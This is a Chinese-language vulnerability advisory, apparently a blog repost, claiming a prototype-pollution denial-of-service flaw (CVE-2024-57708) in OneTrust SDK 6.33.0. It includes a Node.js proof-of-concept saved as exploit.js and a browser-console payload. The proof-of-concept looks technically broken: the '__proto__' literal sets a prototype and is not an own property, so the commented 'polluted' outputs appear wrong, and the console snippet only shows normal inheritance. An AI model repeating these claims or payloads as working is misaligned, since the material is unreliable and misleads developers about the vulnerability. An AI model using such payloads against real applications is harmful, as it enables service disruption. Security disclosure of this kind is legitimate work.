OneTrust SDK 6.33.0原型污染漏洞导致远程拒绝服务攻击

本文详细分析了OneTrust SDK 6.33.0版本中存在的原型污染漏洞,攻击者可通过恶意对象污染全局原型链,导致应用程序拒绝服务或逻辑错误,包含完整的技术细节和验证方法。

OneTrust SDK 6.33.0 - 拒绝服务(DoS)漏洞

  • 漏洞标题: OneTrust SDK 6.33.0 - 拒绝服务(DoS)
  • 日期: 2025-01-01
  • 漏洞作者: Alameen Karim Merali
  • 厂商主页: OneTrust JavaScript API
  • 软件链接: otBannerSdk.js v6.33.0
  • 版本: 6.33.0
  • 测试环境: Kali Linux
  • CVE ID: CVE-2024-57708

漏洞概述

OneTrust SDK v6.33.0 中存在一个漏洞,攻击者可以通过滥用 Object.setPrototypeOfObject.assign 执行原型污染。攻击者可以向原型链中注入恶意属性,可能导致拒绝服务(DoS) 或改变应用程序中继承对象的行为。

技术细节

受影响的代码包含原型分配逻辑,例如:

1
2
3
var o = function(e, t) {
  return (o = Object.setPrototypeOf || { __proto__: [] } instanceof ...);
};

如果 t 参数(用户提供的对象)包含 __proto__constructor.prototype 引用,它可以全局污染 Object.prototype

概念验证(PoC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function testPrototypePollution() {
  const maliciousPayload = {
    "__proto__": {
      polluted: "yes"
    }
  };

  // 使用易受攻击的函数 'o'
  try {
    o({}, maliciousPayload);
    console.log("After o:", {}.polluted); // "yes"
  } catch (e) {
    console.error("Error testing o:", e);
  }

  // 使用 Object.assign
  try {
    Object.assign({}, maliciousPayload);
    console.log("After Object.assign:", {}.polluted); // "yes"
  } catch (e) {
    console.error("Error testing Object.assign:", e);
  }

  // 清理
  delete Object.prototype.polluted;
}
testPrototypePollution();

浏览器控制台PoC (DevTools)

1
2
3
var maliciousObj = { __proto__: { hacked: true } };
var newObj = Object.create(maliciousObj);
console.log(newObj.hacked); // true

截图: PoC截图

重现步骤

  1. 将上述PoC脚本保存为 exploit.js
  2. 使用Node.js运行: node exploit.js
  3. 观察污染输出 ({}.polluted === "yes")
  4. 或者在浏览器DevTools中运行payload

影响

  • 全局对象污染
  • 应用程序逻辑错误
  • 潜在的DoS攻击
  • 根据上下文可能进一步利用

建议

开发人员应升级到修补版本,并对用于对象合并或原型操作的任何用户输入进行清理。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计